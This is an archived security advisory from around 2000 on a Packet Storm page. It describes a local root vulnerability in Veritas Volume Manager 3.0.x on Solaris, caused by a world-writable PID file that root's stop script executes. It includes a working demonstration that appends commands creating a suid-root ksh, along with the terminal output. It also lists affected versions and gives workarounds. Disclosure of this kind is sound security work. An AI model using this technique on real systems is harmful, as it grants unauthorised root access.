what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

varitas.solaris.txt

varitas.solaris.txt
Posted Nov 22, 2001
Authored by Echo8

Veritas Volume Manager 3.0.x for Solaris contains a security hole which can, under specific circumstances, allow local users to gain root access. Exploit description included.

tags | exploit, local, root
systems | solaris
SHA-256 | fd2319ff0e16f1c6e713fa56b2101950213939c45121c340cc789350ca38aee3

varitas.solaris.txt

Change Mirror Download
Summary
-------

Veritas Volume Manager 3.0.x for Solaris contains a security hole which can,
under specific circumstances, allow local users to gain root access.

Details
-------

When a system with Veritas Volume Manger 3.0.x installed boots, the
initialization script for the Storage Administrator Server
(/etc/rc2.d/S96vmsa-server) executes without first specifically setting a
umask. When the server comes up, it creates
/var/opt/vmsa/logs/.server_pids with permissions on the file set according
to the inherited umask. Because there is no umask set at that point (under
some versions of Solaris, see below for details), permissions on the
.server_pids file are set to 666.

The control script that is used to start, stop and query the Storage
Administrator Server (/opt/VRTSvmsa/bin/vmsa_server) contains the following
block of code:

stop_server()
{
if [ -f $LOGDIR/.server_pids ];
then
echo "Stopping $CNAME Server"
/bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1
rm -f $LOGDIR/.server_pids
else
echo "Unable to stop $CNAME Server"
fi
}

When this function is invoked, it executes the contents of
/var/opt/vmsa/logs/.server_pids. As this file is world-writeable, an
unprivileged user can put arbitrary commands into it, and they will be executed
as root when the offending function is run. The stop_server() function is only
called if the superuser manually stops the Storage Administrator Server; it is
NOT ordinarily called when the system shuts down. However, if root ever uses
the manual shutdown option to vmsa_server, the system can be compromised.

Demonstration
-------------

# append our malicious commands to the world-writeable file

foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>

# wait for root to stop the server manually

root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..

# as an unprivileged user, run the suid-root shell we just created...

foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
#

Vulnerable Versions
-------------------

Volume Manager: 3.0.2, 3.0.3, 3.0.4. According to the vendor, this problem
is not present in the current beta release of 3.1. I was not told when to
expect that product to ship. Veritas also stated that there is currently no
plan to patch existing versions.

Solaris: All versions prior to Solaris 8. Solaris 8 sets a umask of 022
during the boot process, which keeps this bug from causing a compromise.

Workaround & Comments
---------------------

The trivial workaround: add "umask 022" to /etc/rc2.d/S96vmsa-server
before the line that starts the Storage Administrator Server.

Perhaps a better fix would be to change Storage Administrator to only
write process ID numbers to /var/opt/vmsa/logs/.server_pids, and change
the control script to extract only those PIDs from the file, instead of
executing the contents. This would still require that permissions on that
file be sane in order to avoid some level of compromise (otherwise, an
unprivileged user could kill arbitrary processes). A better approach would
be to use a utility like pkill(1) to find and kill the appropriate
processes (a functional equivalent could easily be coded into
vmsa_server).

I found no previous mention of this hole on SunSolve, (sunsolve.sun.com),
SecurityFocus (www.securityfocus.com), PacketStorm Security
(packetstormsecurity.org), the Veritas web site, the main Sun web site, or in
the archives of the Bugtraq mailing list.


By echo8@firest0rm.org. Copyright 6/12/2000, Firest0rm Security/Gh0st.net.


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close